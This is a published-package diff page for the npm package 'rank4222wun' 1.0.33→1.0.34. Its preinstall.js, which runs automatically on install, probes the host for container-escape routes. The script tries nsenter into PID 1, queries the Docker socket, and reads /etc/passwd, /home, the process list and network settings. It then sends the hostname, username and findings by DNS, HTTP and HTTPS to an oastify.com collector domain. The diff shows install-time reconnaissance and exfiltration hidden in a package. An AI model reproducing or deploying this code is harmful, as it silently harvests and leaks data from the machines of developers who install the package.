rank4222wun 1.0.33 → 1.0.34
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +502 -276
- package/rank4222wun-1.0.34.tgz +0 -0
- package/rank4222wun-1.0.32.tgz +0 -0
- package/rank4222wun-1.0.33.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,72 +1,215 @@
|
|
|
1
|
-
// container-escape-confirmation.js
|
|
1
|
+
// container-escape-confirmation-with-oast.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
3
|
const os = require('os');
|
|
4
4
|
const fs = require('fs');
|
|
5
5
|
const path = require('path');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
const dns = require('dns');
|
|
6
8
|
|
|
7
|
-
console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL\n");
|
|
9
|
+
console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL WITH OAST\n");
|
|
10
|
+
console.log("📍 OAST Domain: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com\n");
|
|
8
11
|
|
|
9
|
-
|
|
12
|
+
// إعدادات OAST الخاصة بك
|
|
13
|
+
const OAST_CONFIG = {
|
|
14
|
+
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
15
|
+
httpsPort: 443,
|
|
16
|
+
httpPort: 80,
|
|
17
|
+
dnsSubdomain: 'escape-confirmation'
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
const evidenceLog = {
|
|
10
21
|
timestamp: new Date().toISOString(),
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
22
|
+
sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
23
|
+
oastDomain: OAST_CONFIG.domain,
|
|
24
|
+
|
|
25
|
+
// حالة النظام
|
|
26
|
+
systemInfo: {
|
|
27
|
+
currentHostname: os.hostname(),
|
|
28
|
+
currentUser: os.userInfo().username,
|
|
15
29
|
platform: os.platform(),
|
|
16
30
|
isContainer: null,
|
|
31
|
+
containerType: null,
|
|
17
32
|
containerId: null
|
|
18
33
|
},
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
34
|
+
|
|
35
|
+
// نتائج فحص الهروب
|
|
36
|
+
escapeChecks: {
|
|
37
|
+
nsenter: { found: false, accessible: false, evidence: null },
|
|
38
|
+
dockerSocket: { found: false, writable: false, containers: [] },
|
|
39
|
+
hostMounts: { found: false, mounts: [], hostAccess: false },
|
|
40
|
+
procAccess: { accessible: false, hostPid: null },
|
|
41
|
+
kernel: { version: null, vulnerable: false, exploits: [] },
|
|
42
|
+
capabilities: { dangerous: [], hasSysAdmin: false }
|
|
28
43
|
},
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
44
|
+
|
|
45
|
+
// أدلة قاطعة على الهروب
|
|
46
|
+
definitiveEvidence: {
|
|
47
|
+
differentHostnameConfirmed: false,
|
|
48
|
+
hostFilesAccess: false,
|
|
49
|
+
hostUsersReadable: false,
|
|
50
|
+
hostNetworkVisible: false,
|
|
51
|
+
hostProcessesVisible: false
|
|
36
52
|
},
|
|
37
|
-
|
|
38
|
-
|
|
53
|
+
|
|
54
|
+
// نتائج OAST
|
|
55
|
+
oastResults: {
|
|
56
|
+
dnsCalled: false,
|
|
57
|
+
httpCalled: false,
|
|
58
|
+
httpsCalled: false,
|
|
59
|
+
interactions: []
|
|
60
|
+
},
|
|
61
|
+
|
|
62
|
+
// النتيجة النهائية
|
|
63
|
+
finalVerdict: {
|
|
39
64
|
escapedToHost: false,
|
|
40
|
-
|
|
41
|
-
riskLevel: 'UNKNOWN'
|
|
65
|
+
confidence: 0,
|
|
66
|
+
riskLevel: 'UNKNOWN',
|
|
67
|
+
escapeMethods: [],
|
|
68
|
+
proofPoints: []
|
|
42
69
|
}
|
|
43
70
|
};
|
|
44
71
|
|
|
45
|
-
// =====================
|
|
46
|
-
function
|
|
47
|
-
|
|
72
|
+
// ===================== OAST Interaction Functions =====================
|
|
73
|
+
function sendOASTInteraction(type, data) {
|
|
74
|
+
const interactionId = `interaction-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
|
75
|
+
const interaction = {
|
|
76
|
+
id: interactionId,
|
|
77
|
+
type: type,
|
|
78
|
+
timestamp: new Date().toISOString(),
|
|
79
|
+
data: data
|
|
80
|
+
};
|
|
81
|
+
|
|
82
|
+
evidenceLog.oastResults.interactions.push(interaction);
|
|
83
|
+
|
|
84
|
+
switch(type) {
|
|
85
|
+
case 'DNS':
|
|
86
|
+
// إرسال DNS request
|
|
87
|
+
const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
|
|
88
|
+
dns.lookup(dnsHostname, (err, address) => {
|
|
89
|
+
if (!err) {
|
|
90
|
+
evidenceLog.oastResults.dnsCalled = true;
|
|
91
|
+
console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
|
|
92
|
+
}
|
|
93
|
+
});
|
|
94
|
+
break;
|
|
95
|
+
|
|
96
|
+
case 'HTTP':
|
|
97
|
+
// إرسال HTTP request
|
|
98
|
+
const httpReq = require('http').request({
|
|
99
|
+
hostname: OAST_CONFIG.domain,
|
|
100
|
+
port: OAST_CONFIG.httpPort,
|
|
101
|
+
path: `/${interactionId}`,
|
|
102
|
+
method: 'GET',
|
|
103
|
+
headers: {
|
|
104
|
+
'User-Agent': 'ContainerEscapeConfirm/1.0',
|
|
105
|
+
'X-Session-ID': evidenceLog.sessionId,
|
|
106
|
+
'X-Check-Type': data.checkType || 'unknown'
|
|
107
|
+
}
|
|
108
|
+
}, (res) => {
|
|
109
|
+
let body = '';
|
|
110
|
+
res.on('data', chunk => body += chunk);
|
|
111
|
+
res.on('end', () => {
|
|
112
|
+
evidenceLog.oastResults.httpCalled = true;
|
|
113
|
+
console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
|
|
114
|
+
});
|
|
115
|
+
});
|
|
116
|
+
|
|
117
|
+
httpReq.on('error', () => {});
|
|
118
|
+
httpReq.write(JSON.stringify(data));
|
|
119
|
+
httpReq.end();
|
|
120
|
+
break;
|
|
121
|
+
|
|
122
|
+
case 'HTTPS':
|
|
123
|
+
// إرسال HTTPS request (الأهم)
|
|
124
|
+
const httpsReq = https.request({
|
|
125
|
+
hostname: OAST_CONFIG.domain,
|
|
126
|
+
port: OAST_CONFIG.httpsPort,
|
|
127
|
+
path: `/container-escape-evidence`,
|
|
128
|
+
method: 'POST',
|
|
129
|
+
headers: {
|
|
130
|
+
'Content-Type': 'application/json',
|
|
131
|
+
'User-Agent': 'ContainerEscapeDetector/1.0',
|
|
132
|
+
'X-Session-ID': evidenceLog.sessionId,
|
|
133
|
+
'X-Hostname': os.hostname(),
|
|
134
|
+
'X-Check-Point': data.checkPoint || 'initial'
|
|
135
|
+
}
|
|
136
|
+
}, (res) => {
|
|
137
|
+
let responseBody = '';
|
|
138
|
+
res.on('data', chunk => responseBody += chunk);
|
|
139
|
+
res.on('end', () => {
|
|
140
|
+
evidenceLog.oastResults.httpsCalled = true;
|
|
141
|
+
console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
|
|
142
|
+
|
|
143
|
+
// تخزين رد السيرفر إذا أرسل بيانات
|
|
144
|
+
if (responseBody) {
|
|
145
|
+
try {
|
|
146
|
+
const serverResponse = JSON.parse(responseBody);
|
|
147
|
+
interaction.serverResponse = serverResponse;
|
|
148
|
+
} catch (e) {}
|
|
149
|
+
}
|
|
150
|
+
});
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
httpsReq.on('error', (e) => {
|
|
154
|
+
console.log(`⚠️ OAST HTTPS error (may be expected): ${e.message}`);
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
httpsReq.write(JSON.stringify({
|
|
158
|
+
sessionId: evidenceLog.sessionId,
|
|
159
|
+
timestamp: new Date().toISOString(),
|
|
160
|
+
checkPoint: data.checkPoint,
|
|
161
|
+
evidence: data.evidence,
|
|
162
|
+
systemInfo: evidenceLog.systemInfo
|
|
163
|
+
}));
|
|
164
|
+
|
|
165
|
+
httpsReq.end();
|
|
166
|
+
break;
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
// ===================== Phase 1: Basic Container Detection =====================
|
|
171
|
+
function detectContainerEnvironment() {
|
|
172
|
+
console.log("🔍 المرحلة 1: اكتشاف بيئة الحاوية...\n");
|
|
48
173
|
|
|
49
174
|
const checks = [
|
|
50
175
|
{
|
|
51
|
-
name: '
|
|
52
|
-
command: 'cat /proc/1/cgroup 2>/dev/null |
|
|
176
|
+
name: 'cgroup_check',
|
|
177
|
+
command: 'cat /proc/1/cgroup 2>/dev/null | head -5',
|
|
178
|
+
handler: (output) => {
|
|
179
|
+
if (output) {
|
|
180
|
+
if (output.includes('docker')) {
|
|
181
|
+
evidenceLog.systemInfo.isContainer = true;
|
|
182
|
+
evidenceLog.systemInfo.containerType = 'Docker';
|
|
183
|
+
// استخراج Container ID
|
|
184
|
+
const match = output.match(/docker\/([a-f0-9]{64})/);
|
|
185
|
+
if (match) {
|
|
186
|
+
evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
|
|
187
|
+
}
|
|
188
|
+
console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
|
|
189
|
+
} else if (output.includes('kubepods')) {
|
|
190
|
+
evidenceLog.systemInfo.isContainer = true;
|
|
191
|
+
evidenceLog.systemInfo.containerType = 'Kubernetes';
|
|
192
|
+
console.log("✅ في حاوية Kubernetes");
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
},
|
|
197
|
+
{
|
|
198
|
+
name: 'rootfs_check',
|
|
199
|
+
command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
|
|
53
200
|
handler: (output) => {
|
|
54
|
-
if (output.includes('
|
|
55
|
-
|
|
56
|
-
console.log("
|
|
57
|
-
} else if (output.trim()) {
|
|
58
|
-
escapeConfirmation.currentSystem.isContainer = true;
|
|
59
|
-
escapeConfirmation.currentSystem.containerId = output.trim().substring(0, 12);
|
|
60
|
-
console.log(`✅ نحن داخل حاوية Docker: ${escapeConfirmation.currentSystem.containerId}`);
|
|
201
|
+
if (!output.includes('NOT_OVERLAY')) {
|
|
202
|
+
evidenceLog.systemInfo.isContainer = true;
|
|
203
|
+
console.log("✅ نظام ملفات overlay (حاوية)");
|
|
61
204
|
}
|
|
62
205
|
}
|
|
63
206
|
},
|
|
64
207
|
{
|
|
65
|
-
name: '
|
|
66
|
-
command: '
|
|
208
|
+
name: 'container_runtime',
|
|
209
|
+
command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
|
|
67
210
|
handler: (output) => {
|
|
68
|
-
if (output.includes('
|
|
69
|
-
console.log(
|
|
211
|
+
if (!output.includes('NO_RUNTIME')) {
|
|
212
|
+
console.log(`✅ Container runtime موجود: ${output.trim()}`);
|
|
70
213
|
}
|
|
71
214
|
}
|
|
72
215
|
}
|
|
@@ -75,123 +218,213 @@ function performBasicChecks() {
|
|
|
75
218
|
let completed = 0;
|
|
76
219
|
checks.forEach(check => {
|
|
77
220
|
exec(check.command, { timeout: 3000 }, (err, stdout) => {
|
|
78
|
-
if (!err) check.handler(stdout);
|
|
221
|
+
if (!err && stdout) check.handler(stdout);
|
|
79
222
|
completed++;
|
|
80
223
|
if (completed === checks.length) {
|
|
81
|
-
|
|
224
|
+
// إرسال DNS check إلى OAST
|
|
225
|
+
sendOASTInteraction('DNS', {
|
|
226
|
+
checkType: 'container_detection',
|
|
227
|
+
result: evidenceLog.systemInfo
|
|
228
|
+
});
|
|
229
|
+
|
|
230
|
+
setTimeout(performEscapeVerification, 2000);
|
|
82
231
|
}
|
|
83
232
|
});
|
|
84
233
|
});
|
|
85
234
|
}
|
|
86
235
|
|
|
87
|
-
// =====================
|
|
88
|
-
function
|
|
89
|
-
console.log("\
|
|
236
|
+
// ===================== Phase 2: Escape Verification =====================
|
|
237
|
+
function performEscapeVerification() {
|
|
238
|
+
console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
|
|
239
|
+
|
|
240
|
+
// إرسال HTTP ping إلى OAST
|
|
241
|
+
sendOASTInteraction('HTTP', {
|
|
242
|
+
checkPoint: 'escape_verification_start',
|
|
243
|
+
currentHostname: evidenceLog.systemInfo.currentHostname
|
|
244
|
+
});
|
|
90
245
|
|
|
91
|
-
const
|
|
92
|
-
// 1
|
|
246
|
+
const verificationTests = [
|
|
247
|
+
// Test 1: nsenter access
|
|
93
248
|
{
|
|
94
|
-
name: '
|
|
249
|
+
name: 'nsenter_test',
|
|
95
250
|
commands: [
|
|
96
|
-
'which nsenter 2>/dev/null',
|
|
97
|
-
'nsenter --target 1 --mount -- sh -c "echo
|
|
251
|
+
'which nsenter 2>/dev/null || echo "NOT_FOUND"',
|
|
252
|
+
'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
|
|
98
253
|
],
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
254
|
+
handler: (results) => {
|
|
255
|
+
const [nsenterPath, nsenterOutput] = results;
|
|
256
|
+
|
|
257
|
+
evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
|
|
258
|
+
|
|
259
|
+
if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
|
|
260
|
+
evidenceLog.escapeChecks.nsenter.accessible = true;
|
|
105
261
|
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
escapeConfirmation.escapeEvidence.proofPoints.push(`hostname المضيف (${host}) ≠ hostname الحاوية (${container})`);
|
|
115
|
-
return true;
|
|
262
|
+
// تحليل النتيجة
|
|
263
|
+
const lines = nsenterOutput.split('\n');
|
|
264
|
+
let hostHostname = '';
|
|
265
|
+
let containerHostname = '';
|
|
266
|
+
|
|
267
|
+
lines.forEach(line => {
|
|
268
|
+
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
269
|
+
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
116
270
|
}
|
|
271
|
+
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
272
|
+
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
273
|
+
}
|
|
274
|
+
});
|
|
275
|
+
|
|
276
|
+
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
277
|
+
evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
|
|
278
|
+
evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
|
|
279
|
+
console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
|
|
280
|
+
|
|
281
|
+
// إرسال أدلة قوية إلى OAST
|
|
282
|
+
sendOASTInteraction('HTTPS', {
|
|
283
|
+
checkPoint: 'nsenter_escape_confirmed',
|
|
284
|
+
evidence: {
|
|
285
|
+
hostHostname: hostHostname,
|
|
286
|
+
containerHostname: containerHostname,
|
|
287
|
+
method: 'nsenter'
|
|
288
|
+
}
|
|
289
|
+
});
|
|
117
290
|
}
|
|
118
291
|
}
|
|
119
|
-
return false;
|
|
120
292
|
}
|
|
121
293
|
},
|
|
122
294
|
|
|
123
|
-
// 2
|
|
295
|
+
// Test 2: Docker socket access
|
|
296
|
+
{
|
|
297
|
+
name: 'docker_socket_test',
|
|
298
|
+
commands: [
|
|
299
|
+
'ls -la /var/run/docker.sock 2>/dev/null | head -1 || echo "NOT_FOUND"',
|
|
300
|
+
'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -o \'"ID":"[^"]*"\' | head -1 || echo "NO_ACCESS"'
|
|
301
|
+
],
|
|
302
|
+
handler: (results) => {
|
|
303
|
+
const [socketInfo, dockerInfo] = results;
|
|
304
|
+
|
|
305
|
+
evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
|
|
306
|
+
evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
|
|
307
|
+
|
|
308
|
+
if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
|
|
309
|
+
evidenceLog.escapeChecks.dockerSocket.accessible = true;
|
|
310
|
+
console.log("✅ Docker socket accessible from container!");
|
|
311
|
+
|
|
312
|
+
// محاولة سرد الحاويات الأخرى
|
|
313
|
+
exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"',
|
|
314
|
+
(err, stdout) => {
|
|
315
|
+
if (!err && stdout && !isNaN(parseInt(stdout))) {
|
|
316
|
+
const containerCount = parseInt(stdout);
|
|
317
|
+
if (containerCount > 1) {
|
|
318
|
+
evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
|
|
319
|
+
console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
|
|
320
|
+
|
|
321
|
+
sendOASTInteraction('HTTPS', {
|
|
322
|
+
checkPoint: 'docker_socket_access',
|
|
323
|
+
evidence: {
|
|
324
|
+
socketAccessible: true,
|
|
325
|
+
containerCount: containerCount,
|
|
326
|
+
method: 'docker_socket'
|
|
327
|
+
}
|
|
328
|
+
});
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
});
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
},
|
|
335
|
+
|
|
336
|
+
// Test 3: Host filesystem access
|
|
124
337
|
{
|
|
125
|
-
name: '
|
|
338
|
+
name: 'host_files_test',
|
|
126
339
|
commands: [
|
|
127
|
-
'
|
|
128
|
-
'
|
|
340
|
+
'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
|
|
341
|
+
'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
342
|
+
'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
|
|
129
343
|
],
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
344
|
+
handler: (results) => {
|
|
345
|
+
const [mountInfo, homeAccess, passwdAccess] = results;
|
|
346
|
+
|
|
347
|
+
if (!homeAccess.includes('NO_ACCESS')) {
|
|
348
|
+
evidenceLog.definitiveEvidence.hostFilesAccess = true;
|
|
349
|
+
console.log("🎯 DETECTED: Can access /home directory of host!");
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
if (!passwdAccess.includes('NO_ACCESS')) {
|
|
353
|
+
evidenceLog.definitiveEvidence.hostUsersReadable = true;
|
|
354
|
+
console.log("🎯 DETECTED: Can read /etc/passwd of host!");
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
358
|
+
sendOASTInteraction('HTTPS', {
|
|
359
|
+
checkPoint: 'host_filesystem_access',
|
|
360
|
+
evidence: {
|
|
361
|
+
homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
|
|
362
|
+
passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
|
|
363
|
+
}
|
|
364
|
+
});
|
|
135
365
|
}
|
|
136
|
-
return false;
|
|
137
366
|
}
|
|
138
367
|
},
|
|
139
368
|
|
|
140
|
-
//
|
|
369
|
+
// Test 4: Host processes access
|
|
141
370
|
{
|
|
142
|
-
name: '
|
|
371
|
+
name: 'host_processes_test',
|
|
143
372
|
commands: [
|
|
144
|
-
'
|
|
145
|
-
'cat /proc/1/
|
|
373
|
+
'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
|
|
374
|
+
'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
|
|
146
375
|
],
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
376
|
+
handler: (results) => {
|
|
377
|
+
const [psOutput, proc1Status] = results;
|
|
378
|
+
|
|
379
|
+
if (!psOutput.includes('NO_PS') && psOutput.split('\n').length > 5) {
|
|
380
|
+
evidenceLog.definitiveEvidence.hostProcessesVisible = true;
|
|
381
|
+
console.log("✅ Can see host processes");
|
|
382
|
+
}
|
|
383
|
+
|
|
384
|
+
if (!proc1Status.includes('NO_ACCESS')) {
|
|
385
|
+
evidenceLog.escapeChecks.procAccess.accessible = true;
|
|
386
|
+
evidenceLog.escapeChecks.procAccess.hostPid = '1';
|
|
387
|
+
console.log("🎯 DETECTED: Can access host init process (PID 1)!");
|
|
152
388
|
}
|
|
153
|
-
return false;
|
|
154
389
|
}
|
|
155
390
|
},
|
|
156
391
|
|
|
157
|
-
//
|
|
392
|
+
// Test 5: Network visibility
|
|
158
393
|
{
|
|
159
|
-
name: '
|
|
394
|
+
name: 'network_test',
|
|
160
395
|
commands: [
|
|
161
|
-
'
|
|
162
|
-
'
|
|
396
|
+
'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
|
|
397
|
+
'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
|
|
163
398
|
],
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
399
|
+
handler: (results) => {
|
|
400
|
+
const [routeOutput, ipOutput] = results;
|
|
401
|
+
|
|
402
|
+
if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
|
|
403
|
+
evidenceLog.definitiveEvidence.hostNetworkVisible = true;
|
|
404
|
+
console.log("✅ Can see host network configuration");
|
|
169
405
|
}
|
|
170
|
-
return false;
|
|
171
406
|
}
|
|
172
407
|
}
|
|
173
408
|
];
|
|
174
409
|
|
|
175
|
-
let
|
|
176
|
-
|
|
177
|
-
|
|
410
|
+
let testsCompleted = 0;
|
|
411
|
+
const testResults = {};
|
|
412
|
+
|
|
413
|
+
verificationTests.forEach(test => {
|
|
414
|
+
testResults[test.name] = [];
|
|
178
415
|
let commandsCompleted = 0;
|
|
179
416
|
|
|
180
|
-
|
|
417
|
+
test.commands.forEach((cmd, idx) => {
|
|
181
418
|
exec(cmd, { timeout: 5000 }, (err, stdout) => {
|
|
182
|
-
|
|
419
|
+
testResults[test.name][idx] = stdout || '';
|
|
183
420
|
commandsCompleted++;
|
|
184
421
|
|
|
185
|
-
if (commandsCompleted ===
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
} else {
|
|
189
|
-
console.log(`❌ ${method.name}: فشل أو غير متاح`);
|
|
190
|
-
}
|
|
422
|
+
if (commandsCompleted === test.commands.length) {
|
|
423
|
+
test.handler(testResults[test.name]);
|
|
424
|
+
testsCompleted++;
|
|
191
425
|
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
setTimeout(collectHostEvidence, 3000);
|
|
426
|
+
if (testsCompleted === verificationTests.length) {
|
|
427
|
+
setTimeout(analyzeEvidence, 3000);
|
|
195
428
|
}
|
|
196
429
|
}
|
|
197
430
|
});
|
|
@@ -199,205 +432,198 @@ function checkEscapeMethods() {
|
|
|
199
432
|
});
|
|
200
433
|
}
|
|
201
434
|
|
|
202
|
-
// =====================
|
|
203
|
-
function
|
|
204
|
-
console.log("\
|
|
205
|
-
|
|
206
|
-
const evidenceCommands = [
|
|
207
|
-
{
|
|
208
|
-
name: 'host_users',
|
|
209
|
-
command: 'cat /etc/passwd 2>/dev/null | head -10',
|
|
210
|
-
storeIn: 'hostSystem.users'
|
|
211
|
-
},
|
|
212
|
-
{
|
|
213
|
-
name: 'host_processes_full',
|
|
214
|
-
command: 'ps aux 2>/dev/null | head -15',
|
|
215
|
-
storeIn: 'hostSystem.processes'
|
|
216
|
-
},
|
|
217
|
-
{
|
|
218
|
-
name: 'host_network',
|
|
219
|
-
command: 'ip addr show 2>/dev/null | head -30',
|
|
220
|
-
storeIn: 'hostSystem.network.interface'
|
|
221
|
-
},
|
|
222
|
-
{
|
|
223
|
-
name: 'host_kernel',
|
|
224
|
-
command: 'uname -r',
|
|
225
|
-
storeIn: 'hostSystem.kernel'
|
|
226
|
-
},
|
|
227
|
-
{
|
|
228
|
-
name: 'docker_on_host',
|
|
229
|
-
command: 'docker ps -a 2>/dev/null | wc -l',
|
|
230
|
-
storeIn: 'hostSystem.dockerInfo'
|
|
231
|
-
},
|
|
232
|
-
{
|
|
233
|
-
name: 'host_files_access',
|
|
234
|
-
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || echo "NO_ACCESS"',
|
|
235
|
-
storeIn: 'escapeEvidence.filesAccessed'
|
|
236
|
-
}
|
|
237
|
-
];
|
|
238
|
-
|
|
239
|
-
let evidenceCollected = 0;
|
|
240
|
-
evidenceCommands.forEach(evidence => {
|
|
241
|
-
exec(evidence.command, { timeout: 5000 }, (err, stdout) => {
|
|
242
|
-
if (!err && stdout && !stdout.includes('NO_ACCESS')) {
|
|
243
|
-
// تحديد المسار للخزن
|
|
244
|
-
const path = evidence.storeIn.split('.');
|
|
245
|
-
let target = escapeConfirmation;
|
|
246
|
-
|
|
247
|
-
for (let i = 0; i < path.length - 1; i++) {
|
|
248
|
-
if (!target[path[i]]) target[path[i]] = {};
|
|
249
|
-
target = target[path[i]];
|
|
250
|
-
}
|
|
251
|
-
|
|
252
|
-
target[path[path.length - 1]] = stdout.trim();
|
|
253
|
-
|
|
254
|
-
if (evidence.name === 'host_files_access' && !stdout.includes('NO_ACCESS')) {
|
|
255
|
-
escapeConfirmation.escapeEvidence.hostFilesFound = true;
|
|
256
|
-
}
|
|
257
|
-
|
|
258
|
-
console.log(`✅ ${evidence.name}: تم جمعه`);
|
|
259
|
-
}
|
|
260
|
-
|
|
261
|
-
evidenceCollected++;
|
|
262
|
-
if (evidenceCollected === evidenceCommands.length) {
|
|
263
|
-
setTimeout(analyzeResults, 2000);
|
|
264
|
-
}
|
|
265
|
-
});
|
|
266
|
-
});
|
|
267
|
-
}
|
|
268
|
-
|
|
269
|
-
// ===================== تحليل النتائج =====================
|
|
270
|
-
function analyzeResults() {
|
|
271
|
-
console.log("\n4️⃣ تحليل النتائج وتأكيد الهروب...\n");
|
|
435
|
+
// ===================== Phase 3: Evidence Analysis =====================
|
|
436
|
+
function analyzeEvidence() {
|
|
437
|
+
console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
|
|
272
438
|
|
|
273
439
|
let confidenceScore = 0;
|
|
274
440
|
const maxScore = 100;
|
|
441
|
+
const escapeMethods = [];
|
|
442
|
+
const proofPoints = [];
|
|
275
443
|
|
|
276
|
-
// 1. أدلة
|
|
277
|
-
if (
|
|
444
|
+
// 1. أدلة قاطعة (25 نقطة لكل)
|
|
445
|
+
if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
|
|
278
446
|
confidenceScore += 25;
|
|
279
|
-
|
|
447
|
+
proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
|
|
280
448
|
}
|
|
281
449
|
|
|
282
|
-
if (
|
|
450
|
+
if (evidenceLog.definitiveEvidence.hostFilesAccess) {
|
|
283
451
|
confidenceScore += 25;
|
|
284
|
-
|
|
452
|
+
proofPoints.push("الوصول لملفات /home في المضيف");
|
|
285
453
|
}
|
|
286
454
|
|
|
287
|
-
|
|
288
|
-
|
|
455
|
+
if (evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
456
|
+
confidenceScore += 20;
|
|
457
|
+
proofPoints.push("قراءة /etc/passwd للمضيف");
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
// 2. أدلة قوية (15 نقطة لكل)
|
|
461
|
+
if (evidenceLog.escapeChecks.nsenter.accessible) {
|
|
289
462
|
confidenceScore += 15;
|
|
290
|
-
|
|
291
|
-
}
|
|
463
|
+
escapeMethods.push("nsenter");
|
|
464
|
+
}
|
|
465
|
+
|
|
466
|
+
if (evidenceLog.escapeChecks.dockerSocket.accessible) {
|
|
467
|
+
confidenceScore += 15;
|
|
468
|
+
escapeMethods.push("docker_socket");
|
|
469
|
+
}
|
|
470
|
+
|
|
471
|
+
if (evidenceLog.escapeChecks.procAccess.accessible) {
|
|
472
|
+
confidenceScore += 15;
|
|
473
|
+
escapeMethods.push("proc_access");
|
|
474
|
+
}
|
|
292
475
|
|
|
293
|
-
// 3.
|
|
294
|
-
if (
|
|
476
|
+
// 3. أدلة مساندة (10 نقطة لكل)
|
|
477
|
+
if (evidenceLog.definitiveEvidence.hostProcessesVisible) {
|
|
295
478
|
confidenceScore += 10;
|
|
296
|
-
console.log("📋 تم جمع معلومات مستخدمي المضيف");
|
|
297
479
|
}
|
|
298
480
|
|
|
299
|
-
if (
|
|
481
|
+
if (evidenceLog.definitiveEvidence.hostNetworkVisible) {
|
|
300
482
|
confidenceScore += 10;
|
|
301
|
-
console.log("📋 تم جمع عمليات المضيف");
|
|
302
483
|
}
|
|
303
484
|
|
|
304
|
-
//
|
|
305
|
-
|
|
306
|
-
|
|
485
|
+
// تحديد نتيجة الهروب
|
|
486
|
+
evidenceLog.finalVerdict.confidence = Math.min(100, confidenceScore);
|
|
487
|
+
